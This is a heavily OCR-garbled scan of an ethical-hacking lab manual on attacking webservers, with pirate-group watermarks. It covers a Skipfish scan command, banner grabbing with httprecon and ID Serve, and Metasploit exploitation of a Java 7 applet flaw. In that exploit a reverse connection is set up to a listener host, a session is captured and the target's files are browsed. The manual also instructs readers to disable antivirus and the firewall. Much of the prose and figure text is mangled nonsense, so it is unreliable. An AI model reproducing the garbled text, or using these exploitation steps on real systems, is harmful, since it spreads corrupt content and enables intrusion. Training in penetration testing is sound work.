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Hacking Webservers
A webserver, ndich can be referred fo ar the bardware, the computer, or the softuars,
i the comguiter qbblication that delivers consent that can be aucersed throsgh the
Inrerner

Lab Scenano

Moz of on-line services are implemenred a: web appheations. On-line banking.
search engines, emad apphcatons, and socal nerworks are st a few examples
of such web services. Web content 1= penerated in real tme by a softoare
application moning ar server-sde Hackers atmck on webserrers to steal
credentials, passwords, and bmsness mformaton They do thiz msing DoS
[DDos) attacks, SYN food, ping flood, port scan, =miffing attacks, and social
enmineering attacks. In the zrea of Web secnaty, dezpie strong encrrption on
the browser-server channel, Webh nsers soll have no assarance abont what
happens ar the other end We present a secnnty applicaton thar angments Web
sermer: with tmsted co-servers composed of high-assnmnce secnes co-
processoss, confipnsed with a publicly known puardian propram. Web nsers can
then establish their anthenticated. encrypted channels with a tmsted co-secver,
which then can act as a tmsted third pasy in the browser-seres interacnion.
Systems are constantdy bemg artacked, and IT secnsity professionals need to be
aware of commeon attacks on webserver applications. Attackers nze =niffers or
protocol analyzers to captee and analyze packers If dama is sent across a
networs m clear text, an attackes can capimre the data packets and nze a sniffer
to fead the data In other words, 3 sniffer can eavesdrop on electronic
conversations A popnlar sniffer 15 Wireshark Ir's also nsed by adosmserasors
for legimmare prrposes. One of the challenges for an amacker 15 1o gan access
to the nemwods 1o capmee daa If ammackers have physical access 1o 2 ronter or
somrch, ther can connect the smiffer and capmee all taffic poang thwongh the

system. Strong physcal secnpity measnres help mrhpate thes risk

Az 3 penetation (pen) tester of ethucal hacker for an organization, you mmst
provide secusity to the company's webserver. Yon nmst perform checks on the
websarrer for Tlnerabdbities, misconfipnratons, nnparched secnary flaws, and
umnproper anthenticanon with external systems

i |y N L E——
Lab Objectives

The objectve of this lab is to help smdents learn to detect nnpatched secnriry
flavrz, verbose emror messages, and mmeh more.

The objectrre of this lab is to:
*  Perfoom Web Serrer Seonnty Reconnaizzance
Detect naparched seennty flaws like Shellshock bng

Crack remote passwords
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* Tools Lab Enwvironment

demenstrated i
: = cn To carry ont this, yon need:
this lak are ! g

awvailable in ® A compmter ruming Window Server 2012 as Host machine
D:ICEH- * A compnter manine window server 2008 as Virmal machine

Teals CEHvE i T ¥ 2
Module 11 A web browser wath Internet acoess

Haeking *  Adnmnistranme pomilepes o mn tools
Webservers L
Lab L u Ei:h.-' i

Tame: 50 Mhontes

Overview of Wehserve:

Mozt people think a webserver i3 st the hardware, b a2 webserver 1= alse the
softoare applicanon. A webserrer delrers web page: on mouest o clients nang the
Hypestest Transfer Protocol (FITTP). This means delivery of HIML docnamenss
and any additional content that may be inchided, such as wdeo, tmages, strle sheets,
and scopts. Aoy genenc wehserress also snpport server-side segiptng uﬂt:'!.cure
Server Pages (ASF), PHF, or other seripting langnages. Thes means thae the behavior
of the webserver can be seapted m separate files, while the actnal serrer softoare
remams mnchanged Web servers are not ahoways nsed for serving the Weh. They can
alzo be fonnd embedded in devices snch as printers, rowters, and webcams, and
serming onby a local petwods The wehzerver may then be nzed 25 a par of 3 sTstem
for monitonng and/or admimsterng the device m qﬂesti.nn. This nsnally means that
no addinonal soffeware has o be mstalled on the chent compuer, since only a
heoowrser i sequred

=] Lab Tasks
Recommended labs o demomnstrate webserver hackng:
*  Performing Web Server Reconnassance nsing Skipfish
*  Footprinting Webserres zing the httpreean Tool
*  Footpointing 3 Webserver Uzing ID Serve
v Exploiting Java Vilnenhdty nzng Metaspleit Framewerk

*  Performing Shellshock Expleitation on a Web Server and Gamsng
Unsestricred Access to the Server

Cockine FTP Credentials Uung Dietisnary Attack

A =
ab Analysis

Arnalyze and dommment the resnlrs mlated to the lab exercice. Give yons opinon on
TOT tArget’s secngity postie and expostoe.
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Lab

rming Web Server

,Jﬁ';%' perfirmis recssive rad .;J,.:a' AT wg ﬁr..:eﬁ ‘l'-"!-"t.-':"‘.:- an .:*a":_ﬂﬂw.'.r

S T R R
IcoM KEY Labp -:'u- nan i{::'

f alahie Every attacker tries to collect as mmch infornation as posuble about the tarper

wiomuriog websermer. The amacker pathers the mfommation and then analyzes the mformation

o e i ogder o find lapses i the current secnnty mechanism of the websarcer.
knomriedze

%

B Wb stee Lab Objectives

L] Wadbook rview  The abyectrve of this lab is to bhelp the smdeats leasn howr toe

1 Perform nmap scan o find whether an fip post is open
b. Pecform dichiomary amack weing hyda

Lab Environment

To pedorm the lab, you need:
* A compnter maning Windows Server 2012
*  Windows Semver 2008 punning as virmal machine
»  Fah Linme monme 3s immal machine

Lab Duwn

LY -"f {.‘\ rk
Tame: 5 Mmmes

Overview of the Lab

Thus Iab demonstmtes how to perform seonnty reconnmssance on 2 webserver and
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Start and then click start WampServer to lanach the
Server 1.PP].|. ation

FIGURE |2 Launcbang 3 Cornsred Lie Tarmminal
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= e 3 ssance on a webserver waing Skpfish. The
} Addee f
Scan the
Web Server
the output directory and load a dictionary file based on the
B (EqIEmant.
T}'l:uz skipfish -0 freetitest -5 usr'share/skipfishidictionaries!
eomplete.wl httpzIP Address of Windews Server 2008] and press
Enter.

H/dlctlanarias/conplata owi

FIGURE 1% Fntusey

e scan, Skipfish displays some tips. Press Enter to

. & partial report will b arittes
w i LLET of chreently eoanesd Uk i

e pmber reqiesis per second shown on The maln se IT this flqure
draps belaw ID-200, the scan mill Likely Safe & wery Lom

ot awle-LimiT Wne scope of TRE 50

FIGLURE 1.4 Ine
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ans the wehsarrer as shown in the following sereenshot:

J. 1% by Lcawtwiggresgle . ool

FIGLURE 1.5: Segrfish Senrayr the Wels Server

Skipfish takes some time (apprommately 40 minutes) to

i . [ al it
] Thiy wa= n great day for scisnce

FIGATRE Li: Crevgsldetaon of the San
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10. On completion of the scan, Skipfish generates a epor and stoges it in

the test directory (o reet location). Donble-click index.html to wmew
Examine the the scan resmlt.
S<an Result

Hrask 3

Eila
Duvices
Flappy Birive

Coan g Lt

FIGLRE L7 Viewsy the Sean e

11. The Skipfish cawl result appears in the web browses, displaping the
smmmary overmews of dommment types and izsue types fonnd, as showm
in the following sereenshor

Mote: The scan resnlt mipht vary in your lab environment

| skipfish

fCrawl resulls = click (o expand:

H hirp-®4 0 B A

sppiicasis it
mageigt’

rageisng

gissLe ".l'-l' overniaw - CICK TD -"‘"-'l":.'-l'l"'

Thlsl_ e T o ey ol g Ligh B

FIGURE LR Examzmng the Scan Renls
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12. Expand each node to mew detailed information regarding the resnlt

13. Analyze an issme fonnd i the websermrar. Click a node nnder the Issue
type overview section to expand it.

14. Analyze the Ineerreet or missing charset isme.

r Skypfiah - zcan relbs hramas
||

Muert Wisited™ Bl O®enswe Beourity "W Hall Liniw % Kali Dacs = Explok-0B

[+ it TL8 .08 gl e

fDocument type overview - click to expand:
appbeationichiml+oml
Imageight

imagaipng

Vssue Type overview - click To expand:

h\:uﬂ Bl of misdiig charant Sighet 'IIJ'I"
i Sighatans mateh delfBed
HTRIL form with o apparens XSRF proocton
& Limts exceaded, fetch suppresced

| -

FIGURE 1% Examueeryr the Soean Beal

15. Ohsarve the URL of the webpage associted with the wmlnerability.
Click the URL.

r Saphn - ezan reaulty trowe.. 5 | L phpminl) =

1 " - i@ | El~
M1 Venwd = [l OMemine Sy S Eali Ly S Kal Dors ® Eaploir-08 B Acrechk-g
| |

H Fritp 0L, 00 81 1 a3 @ha @ld

fDocument type overview - click 1o axpand:

appllcationieniml ol
ImageigHd

imagelpng

! Isse IVpe oveniew - click 1o expant i

I CaTCE of Mmissing charses (Figher risky
1. fapil AEIND=]

Signahure match detected

T Farrm with no apparent X5RP pratection
LY & ‘

FIGURE 110 Expraung the Sean Rensd
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16. The webpage appears as shown in the following screenzhor

[ Saphah - szen ramilts rowe., B phpario|] F 9

- | |H~

J- Mot Veied~  WIOMarire Beourmy MKall Loy S Kol Dore & Exploit-08 MM roreck

PHP Version 5.4.3

Sytlam T WELEZ WA £, baibl S O0L [l s B vt 006
ik 11 AUIEA

Bui Bate 3y 15 Zila i
Conmepiber e T
At oLy

Canfigas Tl POl [NVATS.E Tk A et
CoErmaid ", = =il 1L

auivar BPY
irtual Diredtony

Configeration
i | phygind |
Pallk

FIGIURE 1.11: Exsrening fhe S=an Ready

17. The php version webpage appears, displaying the detals related to the
machine, as well as the other resonrees associated with the webserver

infrastmemee and php confionration.
18, Click shew trace next to the URL to examine the wnlnerability i detadl.

scan rusults brows.. 3 | phemis) x|
il - @ @~
Visted = [WlOWendee Seowrmy. S, Kol Linae S Kali Docs = Espleit-08 g Siorack-ng

“ s =R R T] 3 @5a

Document IVpe ovVeniew click 1o _'-'-:l'..'||":'|:
appd cationfeniml v
imageige

imagelpng

Hlssue type overview - click to expand:

InGearect or missing charees (Figher k]
| i
Slgnabse maach detecied

Bt iasiin < rr s \PRATENG XERF protection

FIGURE L1% Exeremng the HTTF Teace
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19. A HITP trace window appears on the webpage, displaying the
complete HTML session, as chown in the following seeenshot-

-
Skipfish = scan resulis mwas = raeas 2l

FEle Edt Wiew Higtery Boomarks Toals Help
Skephinh - nesn e by Brams. . ) prpanial)
- & B~

[ Veimd= O emeve Senity " el Ui " Kali Docs = Explon-0B W A ciak-g

FIGLRE 113 Essraning the HTTF Trace

MNote: If the window does not appear properly, hold down the Gt key and

click the link

20. You can exanune other mlnerabilmes, and patch them in the process of
secnsing the wehserver.

O Yes
Platform Supported

1 Classroom
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Lab

‘= TRE_ R o
g By A 1.7 AT Tat, -1
NINGg a ywepserver «

Fenornt ax bt fingerteruting.

Lab Scenano

Web applications can publish information, interact with Intemet nsers, and
establish an e-commerce /e-poremment presence. However, if an ofpanization
¥ Valnaie is not mporons i confipnrnge and operating its poblic Web site, it may be
_ whougion tmlnesable to 2 vadery of seengity theears.  Althonph the threats in epberspace
# Testromr remain largely the same as in the physical wordd (eg., frand, theft, vandalism
e and tessorizm), they aze far more dangerons. Organizations can face monetary
lozzes, damape to reputation, or lepsl action if an intmder smecessflly molates
the confidentraliry of their data. DoS artacks are easy for amackers to attempr
L Wadbock siew - hecanse of the smmber of possible attack vectors, the vadery of antomared tools
available, and the lowr kill level needed to nse the tools. Dob atacks, as well as
threars of iutianny [ob amacks, are also increasingdy beinp nzed to blackmail
organizations. 1o be an expert ethical hacker and pen tester, you st
nnderstand how to pecform footponting on webservers.

ICBH KEY

= Wb exercme

Lab Objectives
The objectrre of this lab iz to help smdents learn to footprint webserrers. It wll
teach yon howr vo:
7 Tasls
demenstrated in
this lab are *  Get webzerver footprnt
available DNCEH-
FoakEHey _ab Environment
Medule 11
Haeking Tao caery one the lab, you nead:

w ¥ The Httpreson tool avalable at DCEH-Teols'CEHvE Module 11
Hacking Webservers'Webkserver Feootprinting TeoolsHitprecon. Yon
can also doomload the latest versonm of httprecon from the limk

®  [Tse the httprecon tool
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hitp:/ fwww computec ch/projelte (hitprecon. If you  decide o

download the latest version, then screenshots showm in the lab oughe
differ.

" Windows Server 2012

A web browser with Intemet access
*  Administrator povileges

syt 1o e

Hitprecon is 2 tool for advanced webserver finperprintmg. similar to hitpeint. The
poal is highly acewate idenufication of httpd implemenmtions.
Lab Tasks
B &sdide & 1. MNavigate to DHCEH-Tools'CEHI Module 11 Hacking
e WebserversWebserver Foatprinting Tasls'Hitpressn zad domble-

Perform Banner click httprecon.exe to leoch the application.

Grabbing )
_If an Open File - Security Warning pop-up appears, click Run.

3. The main window of httprecon appears, as shown i the Sollowing
sereanchor

httarecon 7.3 =T

Fle Corfigraton  Ringempimting Peparting  Hel

[ _". ] el e ..|

GET emsting | GET lorg requss | GET noressisting | GET maong piokocot | HEAD ssstng | DFTIONE conwen | DEL 2 | =

Pl T | Fangesraet: Dansdi | Fos post Prass |

[ JLFE

oy

FIGURE 11 hispoacon srm wanbiow

4. Enter the website TTRL (here, www.juggyboy.com) that von want to
featprint and select the pert number (80) m the Target secunn
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5. Click Analyze to star analyzing the enrered website.
E tasx 2

Analyze the
Results 'i httprecon 7.3 - hittpy/fvranw juggyboy.com:aly m

File Comfiguration Fngerpnnting  Reporting  Help

6. A foetprint of the wrebzite 3= shown in the following sereenshor

Targel PMiciosall 115 E.0O)

LN s o el
bl e Wt cee Sl
anbies @ dx fepepe
el 0 delenrene Sx

ELY vieucscon s Somcned
m 4 TP file g S
beury  ael B
[

iabcilisk [262 Implemsntatinng| Fingeipant Datak: | s:eq,..,;r-'n.i.-,.-._.u|

i [Hiz [ HMachz
& Meicet 115 60 41
T Mot 115 50 73
& Mo 115 710 =
W Microeadt 115 51 5
B S OME Web Seree B.1 &
& Fapdl 71
W fipache ZOJE 63
= . 1 -a -

Fleady.

FIGURE 22 The fooumt mauk of the enhend welsats

o - 7. Seroll doorn the Get existing b, and chserve the server nzed (Micresoft

Bk k""":""'-"';“;: NS}, its verson (6.0), and the server-ude apphcation nsed to develop the
difeoent rogassa, which ﬁ'@bplge-’_- |’ﬁ5P_HEr|

am oment G0 B Rag
b When attackers obtain this mfosmation, they research the volnembdites
present in ASPNET and IIS version 6.0 and try to exploit them which
results in either foll or partal contool over the web applicaton
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9. Click the GET long request @b, which Ests all the GET equests. Then
chck the Fingerprint Details @b

] hfnrecon 7.1 - REpy e juggyboy.comal) =0

Ela gCorfiquistion  Fogegrinting  Beporting  Hel
T23=1 [Miciceck 15 &10]
T A

[ B o ot =

GET noneatng | GET reong protocol| HEAD serting | OFTIONS coemon | [EL A 3

F ¥ Htprecos does ot

Hutchick [0 b b ons] | Fripmepand Disksde | Fapon Prsce

FIGETRE 1% The Pagerpennt and GET kng mogust maul af B enteend weliite

10. The details displayed in the sersenchot zhove inchide the name of the
protoco] the website 15 name, and s version.

11. By obtaining thiz mfomanon, attackers can make nse of the wolnembilities
in HTTP to pecform malicions actvies such as sniffing over the HTTP
channel, which mmght sesolt i revesbng sensitve data soch as mser
coedentials.

Lab Analysi

Y A
o

Amalrze and domument the resmits mlated to the lab ezerome. Gove your opowon on
VO tACPEL'S SECTty postiee and exposne.

O Yes M No
Platform Supported

1 Classroom B fLabs
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Lab

R . .
IWalhweasrvear [ lecine
| YwenRserver Using

==

ID Serve i g simeble, froe, sonall (26 Flytes|, and fart peneraltarbose Dntermet server
sdetfication sy

Lab Scenano

Pen testers omst be famihar with banner grabbing techmigne: to monitor
semmers ind ensue comphiance and appropriate secmaty wpdates. Using this
technigme you can also locate ropne servers or determine the role of servers
within 3 perwork [n thiz lab yon will learn the banner prabhing techniqne to
determune 1 remote rpet system nang [ Serve. In order to be an expes
ethical hacker and pes tester, yom nmst nnderstand how to footprint a
wehbserrer

Lab Objectives

This lab will show yon how to footpant webservers and how to nse D Save. It
wll teach vou how to:

B T1lze the ID Serve tool

= Get a webserves footprine

[ Tools Lab Environment
demenstrated in
this lak are To carry ont the lab, voo need:

e * D Serve located at D:CEH-Toals'ICEHVS Medule 11 Hacking

PEER: WebserversWebserver Footprinting TeolsiD Serve. Yon can also

::J::Tﬁ download the latest verson of 1D Serve from the link

ki hatp:/ ‘wwwr.gre.com fad fidsecre him If vou decide to download the
latest version, then screenshots shown in the lab mighr differ

Webservers
Windows Server 2012

A Web browser with Internet access

Adoumistratror pomilepes 1o ma tools
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LY 10 e 2 il
fres, arodl (26 Kloyses], and

= Sarva

Overview of ID S
Tt bt - ID Serve determines the donain neme associated with an IP address. Thas process
s s known as a reverse DING lookmp and is vseful when checking firewall lops or
recermng an IP address. Mot all IP addresses that have a foresnd disection lookup
([Domain-to-IF) have a reverse (TP-to-Doonan) lookmp, bot many do.

Mamigare to DRCEH-Toels'\CEHvD Module 11 Hacking

=
—_——rrr WebserversWebserver Foatprinting TeelsD Serve.

Launch

1D Server If an Open File - Security Warning pop-up appears, chick Run.

The main window of ID Secrer appears. Click the Server Guery tah.

(7] 10 Serve =T=En

Internat Servar ldacificaion Uik w102

ID Se rve Farzoepl Saciety Fraawan by Btevs Giboon

Coppght 61 2003 b Gibeor Reen mich o

Hackgraurd Q84 Help

. Ertet ot capy ¢ paste m Inperek sareer URL ar P sddizss bede enan pi v momsct.comi

1

When an Irderet UAL or P has baen pooesded shores

(] it 5 s
Zl| e kL) - ez this Bukan io rikade a quetp of P epecikd saral

1 Serew quap pronEsTg
{

T i e i i Bl cll e

Godo 1D S ey webs page | Ext

FIGLUTRE 3.1 Welsvane seeon of TD Serve

4. In option 1, enter the TTRL {hutp:/ ‘wrorwr goyboy.com) you want to
fostprint in the Enter or copy/paste an Iatemet server URL ar IP
address section.

Click Query the Server to start querying the website.

CEH Lab Mnis] Page 10908 Eshical Hackdng aull(kluutrnn.r:unm 'u.rvjl!.l: :-;. EC-Csmmell
HaCkRhInO-TeaM ! YOuR SeCuiTy iS Not EnQUgR™ ™ """ AatRRAMD-TeaM !
wE FrEE t0 FIY




YOuR SeCuiTy iS NOt EnOUgh
HaCkRhInO-TeaM ! ModideHi1 = Asdini vt HaCkRhInO-TeaM !

6. After the completion of the query, ID Serve displays the results of the

emrered website, as shown in the followmg screenshot:

o a
oD s usie (3] ID Sere |:£_

ikl Wedows TCP

Imarnet Sarer dentfcation LR 1 .02

ot whet g
# ,'.‘r_._r:l I:I I: :,.m::_:' ID Se rve Parzanal Eecurity Fieswss by Staua Ghsan

e e pert Commhl ] 2003 by Gieon Amssach Com

Haskghaund Server Cuer J4A [ Help

Ertet on copu A pasis an lemsl perem URL o P s drmss beve [ssample svse nioros ol com)

i |I|n||ymw|u||:py:|4|v_|nbu

= Whenan Inkarat URL or IF has ben prosided abowa
peis ik bt on ko niliste 2 guens of the specfied s2iee

L-_I D S o aboos
whenni ety 2w ks,
srcabel, swwl wenmon of iy

el mins ey o dnwam ; i ksle

The cerver ienfilied ikl o
4 = S
|M|;:r||:er| W[

[, . T Gidey 1D Gemave remh paace

FIGURE 3.2 T3 Servr detrcting e fofpres
Note: The result nright vacy in your lab environment

7. By obtaning this information, attackers may perform wolnerabilicy
analyss on of thar partenlar version of webserver and implement
vanions techmgues to pedorm explostation.

O ¥es
Platform Supported

1 Classroom
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Lab

:'.-".!l.-u % 'it -
H__*.--nf‘.-::w h"t 1€

T'I é:\-" ;'I--'{"?""I:" fﬂfﬁ.i{i‘!t:}ﬂ}#,.vr{

Meragblont soffwere belps secnrmty and IT profasionals identify securty ieses, verffy
suhier: abiliy J?ﬂféﬁ‘?ﬁ'w and manape _www-a'm eI SECHYTTY BETEIET et

Lap ':lu. nal H:"

Pen testing evalnates the secnaoty of 2 comprter system or netoods by ﬂi_.;u.g an
arack from malicions antsiders (who do not have an anthonized means of acces sJ::g
the orgamizancom's systems) and malicions insiders (who haove some level of
athorized access) The process involres an active ansbrsis of the syseem for
B web ceeveie tinemhilines that conld resnlt from poor or smproper system confirnmtion, ether
gy &= Encon and ,Ir:usm:r:.ru hardware or softeae ﬂat"s ar DPer.n.i.ou:Di T.“E.‘I‘.’E.‘IJ.EBSE:'E..IJJ.
——— process of technical comnrermeasnres. This anabysis &5 carned ont from the position
of a2 potentisl atmcker and can iovolve active explosmtion of sematy Tilnerabiles.
The Memsplont Project 15 a computer secnoty project that provdes mfoomanon
abomt sernory ilnembdities znd sids m pen estng and TS5 gpnatnee development
Itz most well-lnown sub-peoject i3 the open-sonrce MMemsploit Fomewods, 3 toal
for developmp and execning exploit code agamst a remote Grget machine Cther
imporant mb-projects inchide the Opeode Dambase, shelleode anchme, and

seonary reseasch

# Testy
omriadioe

Metasplost Framenrork is one of the mam tooks for pen test engapement To be an
expe etucal backer and pen tester, von mmst nadesstand Lletasplost Fameoods, itz
vanons modnles, explots, parioads, and commands

[ Tesls R—— ,

demenstratedin A0 Objectives

this lab are 7§ PR e : i —m— v

e, he o J|E¢H‘.‘E_€lf thiz lzb iz to demonstate exploitanon of [DE 7 minershines to

— take control of 2 moet oachine.

Teals CEHvE

Module 11

Haeking

Webservers
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Lab Environment
In thes lab, yom need:

*  hletasplom which iz located at DiCEH-Teeols'CEHVY Medule 11 Hacking
Webservers Webserver Attack ToolsMetasploit Framewerk. Yom can
alzo download the hatest verson of Metaspleit Framework from the hnk
hetp:/ fwrewr metasplort com /dowmload If you decide to download the
Iatest verzon, then soreenshots showm in the lab might differ

A compner maomnng Windows Server 2012 as host machine
Windows Serrer 2008 mneing on 2 mrowal machine 25 the trpet machine
A web browser in both machmes

herosoft NET Framework 2.0 or later m both host and mepet machine

JRE Tob menning on the ru:ge..mﬁ“ume (remowe any other version of JRE
mztalled) The TRE Tnf semp file (jre- TH'.‘I-’-"D_'IJﬂ:!'EF—:JSﬁERE 1= availzhle at
DCEH-Teols ' CEHvY Madule 11 Haﬁnhg Webservers Webserver Attack
Tbalslhletasploat Fr:-mewmk Yon can also dovnload the JRE Tnb semp

Time: 10 hbemtes
Overview of the Lab

This lab demonstrates the explot that takes advantpe of oo smes m JDE 7- The
ClassFinder and MethodFmder findhfethod]). Both wee newly merodnced n JDE
7. ClassFinder is a seplacement for cassFodame. It allows motmsted code o obmin
a zeference and bave acces: to a mstacted F:I.ELE in JDE 7, wiuch can be nsed to
abmse s awtSonToolkit (2 restricted packmpe) With snoawtSonToolkt an
amacker can owoke petfield] by  abwmnop the fndidethod) m
Sratement iorolelnternal "'cs do this, I getFisld(| mmst be public, and thar's not
abwars the caze m JDK 6. The ammcker’s nitimate gcul i5 to access Smtement acc's
p_hl:e field modify AccessContmlContert and then disable Seonoty Lfanaper
Choce SEC'TL:LF_\J.HJJ:I.EL 13 dizabled, the amacker can execnte arbatmey Java code.

Lab Tasks

Bl vaam a I. Befose beginmng this lab, log in 1o Windows Server 2008 virmal machine

e e and ensnee that vou have nstalled Java Bnatme Exvronmear (JRE Tnd

Install Metaspleit from the location ZHCEHvS Meodule 11 Hacking Webservers Webserver
Framewnik Attack TeslsMetacplsit Framewsr
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2 Suach to the bost machine (Windews Server 2012). MNavigate to DiCEH-
ToolsiCEHVE Meodule 11 Hacking WebserversiWebsewer Attack
ToolsMetasploit Framework. Donble-click metaspleitlatest-windows-
installer.exe and follow the Wizard steps to mstll Metaspleit Framewsork.

) Setnp ==

S - Mesas e

Walczm ko tha Wsbaipic Sebup Wioard.

FUGLTRE 4.1 Mitispnt sty wrnhoer

MNote: Disable Anti-vins or add an exception o Metasploir in the Asti-vims
before metalling the famewnode Also disable the Firewall Fading to do w0 may
lead o malfenctioning of the Aetsploit Famesnd: A few waming pop-ups
from these secunty applications may appear before or dunng installation. Click
OK if such pop-ops appear.

3. Irtakes 5-10 minmtes for nsaEllation to complets.

4. On completion of nstallznon, the last step of the setmp wizard appears; dick
Finish.

7 Setip T

l:l;,lllLInIluI. e Pt plod Semp #aan

Swbup has innhed nrising Metmplot on yeur compiar

¥ dccess Metegkiin Web LI7

FIGURE 4.2 Mtogiert eatlbabion o]
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5. If a pop-up appears asking you to choose a browser o open Metsploit,
salect 3 browser of your chosce. In this lab, the Firefex brovwrses was chosen

How do you want to open this type of file {hanl)?

FIGURE 4% Chicoag 1 wels betracier

6. i a locilhost webpape appears, asking you to click the bnk
tps sEI 70/, click &, Cthermise, skip to the next step.

[E] rmetasploit RAPIDR

Welcome 1o Metasploit

FIGLRE £.& Cholong & koalhess bk
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7. A localhost webpage appears, saying the connection 15 noemsted Click 1
Understand the Risks

"I

This Connection is Untrusted

ardest el 18 Irahiet A TH) bl we ony

COnFesT SRouTely, Uies will presant (neted ievificaian 1o g

Gl M gad ol hiiral
Techmical Details

| Understand the Risks

FICHURE 45 Metugskat Aulubing Favapstions

B. The I Understand the Risks node expands, displaping 2 message selated

semmary msks.
9. Click Add Exception...

han Fou by 4o conrmck sscurnly, e sl prosnt rsbed
sre g T the right place, Hasesss, this e’ idetity can't e v

What Should | Do?

¥ bl Comreiet e

rpanc sk the wie s

st e ot ol heeed
Technical Details

I Undlerstand the Rigks

1 i Uikt whist's pakag o pies Con bel el on o s bt ng this sl s lentiliation, Even H
yau trint the wie. thh srroe could meean el someans = tampanng with yowr comectian

Ciarl wdd an sxcaphon unbme pod knesw o'y @ gessd eaecn shy B aks donn'® v broked
Pl tEn

Add Expephion

FIGURE 46 Metapiot Adcng Bxorphen
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0. An Add Secwity Exeeption window appears Click Confirm Security
Exeseption.

And Security Bocephion E'I

Vs &1E abul (o overnide how Fireftos iden fies tis s
Legitimadte hanls, shores, and other pablc ot wil nok ask you o do this.

This site sttenngls to dentity iself with invakd information,
Unknawn identity

n ot fnatec becamne ¢ haan'l been varifind by 8 recocgresed suthonky
wscum Bgraturs

| Benanerdy oot the eceplian

wastlirn Securiby Exception Cancel

FIGLRE 47 Cimbrmrg Ssounsy Bxoaphon

11. Metaspleit - Setup and Configuration login screen appears. Comgplete the

Usermname, Passwerd zod Passwerd canfimmation field: and click Create
Azsount

12 The nsermame and passorond for this lab aze Jasen and test#123.

| Lipmm T

;..

* I O-r & =&

Opaand il b SeTenge

FHILTRE 4.8 Mebuplont Cacng At

CEH Lab Mfii] Page 1105

HaCkRhInO-TeaM !

Eshical Hacking and Counsesmseasies Copyegght Oy E3-Damell
YOuR SeCuiTy iS Not EndUgh = ****"HatRRAMO-TeaM !
wE FrEE t0 FIY




YOuR SeCuiTy iS NOt EnOUgh
HaCkRhInO-TeaM ! ModideHi1 = Asdini vt HaCkRhInO-TeaM !

MNote: If you are pedforming this i Iternet Explorer, then a fowr Intemet
Explorer pop-ups may appear. Clhick Close.
Bl siiik 13. Activate Your Metsplont License windowr appears. Click GET PRODUCT

Product Key
Aetivation

L el

ROTRAE YO NSnasphalr LiCe s

L Gt Your Froeuct Kiy

FRGLIRE &7 Mesoqsbost Activatiogs Laiemie Koy

14. A window appears wath the Twe FREE Metaspleit Offerings! Heading.
Click GET COMMUNITY EDITION nnder metasploit community.

T T

i . [ B- 3 &

Twrr FREE Metasploit Offerings!

metasploit metasploit

FIGLRE 4.18: Chessmg Conmmuansty Fobesm
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15. Complete all the mandatosy fields znd chck GET FREE LICEMSE.

RAPID:

E

FIGILIEE 4 11 Fillrg e she detads

16. Tou mll be redirected to the Leense actwanon windoo:

23ap Ui

etz

AEL Nl VoL PRSIk 1 Lituarriss

FEFLRE 412 Metaploot Beesve acsvatrm weakoe
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17. Log in to your email account Olpen the mal seat to your mbox from

1

RapidT hstasplall Pro Trial Licanss Activabad

Maclsod dllmor

Your Metasploit Pro License RAP’DZT}

B4 -7-RAPIDT ' T

Teo gt startedl follow the

YolrF Licends Key:

FIGLRE 4. 1% Lo Fey o Mgl Conmmany Bl

18. Swntch back to the Metasploit window and paste the license key m the Enter
Product Key You've Received by Email Seld Click Astivate Lieense

4 AL I
B bictmplot - et biriorplsd [ Y —————

€ i wak

".I; metaspioi’

Activate Your Mets sploit Licerse

1, Ges Your Breduct Key

2 Enver Pradust Hey Yeu've Resthoed iy Ema

FIGILRE 4 14: Astivatiog Metssqiiess
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19. The Activation Suecessful window appears as shown in the following

sesgenshor

=
O- 4 ®

' I

FIGLRE 415 Metisgiost Cewrrmesy Fabtion iy s

20. Hower the monse ponter on the Account memm. A drop-down List appears.
Clck Logout.

r=Tomem

B a5 &
S -\E
.

FIGLEE 4 16 Liggeryr cuif o the v sixrues
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21. The Login page appears Enter the credentials piven at the tme of
registration and chick Sign in.

22 In this Inb, the credentials nsed ae psemame Jasen and passwod:
testiEl2a

& 301 04714 R inw;, Braron, i
FIGLIRE 417: Re-Lapggiegyirees the Actznes
23. The Metsploit main pase appears, as shown in the following screenshot
o =TemE

E- & A

el ¢

FIGLIRE 4 13 Mrtuspsbind rreen pogr
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24 Hover the monse poier oo Prejest and select New Preject.. from the
_H vasx 3 deoop-dowm bst. i
Creating a New P
Metaspleit Project

W Metazpioit - Projects ]

| * & prahast

@ rﬂc"[laa".»m‘

FICATRE 4 19 Metasphent Cesimng s Mew Propcs
. The Projects window appears. In the Preject Setfings section, type java
exploit in Prejeet name text feld enter some descoption m dhe
Description text field and, and enter the IP addeess (1000.0.8) of a tasget
machine in the Metwark range text Beld

26. Click Create Project.
Mote: 10.0.0.6 i= the IP address of Windews Server 2008 virmal machine. This
IP address may vary in your lab emvironment.

T

T

r;": mutaspkoit

FIFLIRE & Xk Mrrugd ot Priget Seseran
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27. The Metaspleit-Overview window appears Click Medules.

PRAUE LT

FIGLTRE 221 Mrtaplcit Mowhules Tah

= ) 25. Enter CVE ID (2012-46581) m Search Iodnles.

Run the Expleit

L3
r]

lEs £l

FILIRE 422 Mitisplist Searching for i Forpis

28 Click Java T Applet Remote Code Execution.

siphait - hindies

P

| rrvtezslait

FICTRE 4.2% Chuscsany Plrtoqibat Jivs 7 Apgiket Remrctn Cinle Famastiim Expbos
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30 Configrre the exploit settengs:

1 In Payload Options, select Cennection Type s Reverse from the
drop-down st and enter the TP address of host machine (Windows
Server 2012, here 10.0.0.2) in the Listener Hast texx fisld

. In Modele Options, enter the TP addsess of the host machine (ie

10.0.0.2) i the SRVHest text fiald
Enter a URI path fin this lab we are nung geetngs) and click Run
Madule.

T=T=me

- + &

FICLTRE 438 Metzphon Ry hlcghile

31. The tzsk has started and Metsploit server stats listening, 25 shown o the
following screenshot

| = £ W

@

FHGURE 225 Mutagphot Task St
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tch to the Windews Server 2008
B rask s ser, enter hitp: /[P Addes

Install Add-on

Frefax hes preveried e oueted pugin “JavalTH] Plabkmm = 70" from
rumg on 102,02 sociruon Jl o |

4. A plugn pop-np appears as soon as 7
Click Allew and Remember in the pop-np.
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36. Click Sessiens to mew the capmeed connection of the frret machme.

FICGATRE 4 X Metasplent Sesiem tahi
37. Clck session to mew the mfommation of the tarpet nachsne.

Mote: The sesuon smmber may vary in your ab enmironment.

FICGLTRE. 430 Mo ost Cagrtaresd S of o Tarjget Wi
38, Information for the tarpet machine appears on the pape.
39. To access the fle: of tampet spstem click Aecess Filesystem nader

Available Astions.
= o= =T

) i Bl 3

i pe doah B 0- & &

.1?
:1"|::|..E;:|::|‘

Rl e Aslb

FIALRE 431 Metusqikat Acssoarg; Fleymer iof 1 Tangs Machice
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40. A list of all the accessible files 13 displayed in the Memsplodt - File Browser
